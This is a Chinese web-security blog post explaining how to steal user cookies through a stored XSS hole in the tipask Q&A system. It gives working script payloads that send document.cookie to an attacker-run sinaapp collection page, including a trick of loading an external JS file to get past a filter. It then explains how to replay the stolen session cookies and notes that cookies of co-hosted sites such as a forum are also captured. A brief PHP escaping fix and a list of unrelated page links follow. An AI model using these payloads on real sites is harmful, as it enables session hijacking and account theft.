【web安全】第一弹:利用xss注入获取cookie
首先一定要先来吐槽一下tipask系统。这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御。
言归正传:
【准备1】 cookie接收服务器。 平时喜欢用sae,所以在sae上写了一个get方法传值的页面,获取到的数据存储进数据库。
数据表结构很简单

其中time,ip,pre_url都可以没有。
页面代码如下

实际应用像下面这样:
访问链接:http://xxx.sinaapp.com/?cookie=xxxx;
xxxx的内容就会自动存入数据库。
【准备2】利用xss漏洞截取用户的cookie

输入内容
<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie</script>
提交后发现没反应,审查元素:
<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie</script>
发现代码被浏览器处理过了:把加号给过滤掉了。怎么处理呢?
答案是:引入外部js文件!!
还是在刚才的文本框输入:
<script src='http://xxx.sinaapp.com/js/test.js'></script>
js文件内容:window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;
【Go!】
当用户访问被XSS注入的页面时,会自动引入test.js文件,这个文件里包含的js语句,会读取页面的cookie,然后访问一个get传值的页面,cookie就会自动存储到数据库中了~
【获得cookie之后】
win7下的cookie存储方式比较特别,xxxx.txt,根本分不清哪个是哪个,于是楼主给chrome浏览器装了个插件,EditThisCookie,可以在浏览器上对cookie进行读取,删除,修改操作。
tipask用了thinkphp框架,ThinkPHP保存cookie时有两个关键值,tp_auth和tp_sid,更新了这两个值就能获取登录状态了。但是,咳咳,ThinkPHP框架把tp_auth的值设置了和IP绑定,所以即使你拿到cookie,如果cookie不匹配,也P用不中~但是,咳咳咳,此处获取的cookie可不只tipask系统的cookie,而是tipask系统所在IP地址所有应用的cookie..比如说,xxx.xxx.edu.cn对应是dz论坛,xxx.xxx.edu.cn/zhidao对应的tipask,那么获取的cookie既有tipask的,也有dz论坛的。所以~
【xss注入初步解决方案】
1. 防止xss注入的原理,就是对用户输入的富文本进行html encode
PHP环境下处理函数如下:
function re_xss($list)
{
if(is_array($list))
foreach ($list as $key => $value)
{
foreach ($value as $keys => $values)
{
$list[$key][$keys]=htmlspecialchars($values);
}
}
else
$list=htmlspecialchars($list);
return $list;
}
2. 防止cookie被窃取的原理,就是像ThinkPHP,把cookie和IP地址绑定,或者和其他唯一值绑定。
【web安全】第一弹:利用xss注入获取cookie的更多相关文章
- web前端-----第一弹html
		
HTML 初识 web服务本质 import socket def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s ...
 - Exploiting second-order SQL injection  利用二阶注入获取数据库版本信息  SQL Injection Attacks and Defense  Second Edition
		
w SQL Injection Attacks and Defense Second Edition Exploiting second-order SQL injection Virtually ...
 - 利用insert,update和delete注入获取数据
		
0x00 简介 利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的.那么,当我们发现了一个基于i ...
 - 构造个人轻量级XSS平台获取管理员cookie并登录
		
一.前言 本平台是个人轻量级XSS测试平台,仅作为练习参考. 二.实验环境 服务器操作系统:Centos 7 Web容器:Apache 三.平台搭建过程 安装Apache 安装PHP 安装Git工具 ...
 - 风炫安全WEB安全学习第二十三节课  利用XSS获取COOKIE
		
风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE XSS如何利用 获取COOKIE 我们使用pikachu写的pkxss后台 使用方法: <img src="http:/ ...
 - Web安全攻防(一)XSS注入和CSRF
		
跨站脚本攻击(XSS) XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS. 攻击原理: 恶意攻击者往Web页面里插入恶意Script代码,当 ...
 - 关于web XSS注入问题
		
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,附带公司写的一个filer. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经 ...
 - web安全之XSS注入
		
之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入 ...
 - 简单利用XSS获取Cookie信息实例演示
		
简单利用XSS获取Cookie信息实例演示 首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高.随便 ...
 
随机推荐
- shell 中函数放回字符串问题
			
shell 中函数放回字符串问题 shell 中不可以直接 return 字符串 ,可以return 数字.如果要return 字符串 改为 echo "hello world" ...
 - Android SDK Manager无法更新问题解决
			
有时候在网络不好的情况下,android sdk manager更新可能一直报错.原因跟国内对于google相关服务的访问受限有关系,需要设置代理访问. 最近也遇到了这个问题.解决方法如下. 启动An ...
 - mysql 函数在源码中的定义
			
大牛那海蓝蓝 MySQL提供了较为丰富的SQL语句,用以支持MySQL提供的主要功能.在数据库内部,MySQL又是怎么知道自己能够处理哪些对象.处理哪些事情的? 如果我们输入一条SQL语句,MySQL ...
 - C#数据库读取数据后转换为INT32后计算的小技巧
			
这有什么难的,不管是什么数据库, 首先分别读出userinfo中usermoney的值 存入s1,card中extramoney的值s2 读出字段数据你应该会吧! 再用userinfo中字段userm ...
 - tomcat中设置多项目共享jar;类包
			
随着服务器上的tomcat部署的项目越来越多,最近在部署一个新的项目的时候出现内存溢出的错误 Exception in thread "main" java.lang.OutOfM ...
 - php文件上传之单文件上传
			
为了简单一些,php文件跟form表单写在了一个文件里. php单文件上传----> <!DOCTYPE html> <html> <head> <me ...
 - order by跟group by 跟having(2)
 - Velocity 模板引擎介绍
			
一.变量 1. 变量定义 #set($name =“velocity”) 2. 变量的使用 在模板文件中使用$name 或者${name} 来使用定义的变量.推荐使用${name} 这种格式,因为在模 ...
 - MVC知识总结(前序)
			
距离2015年的来临还有1天的时间,是时候总结一下今年的经过脑子的知识了,由于今年里工作中接触MVC的时间特别多,所以打算针对MVC这个东西的知识进行一个总结,好歹对得起在几个项目中用了MVC来进行开 ...
 - 查看SQL server 2008 R2 的Service Package 版本号(同样适用于SQL Server 2005)
			
在SQL Server 中新建一个查询(new Query),然后输入下面的SQL脚本,即可看到当前的数据库的Service Package (补丁包)的版本号 select serverproper ...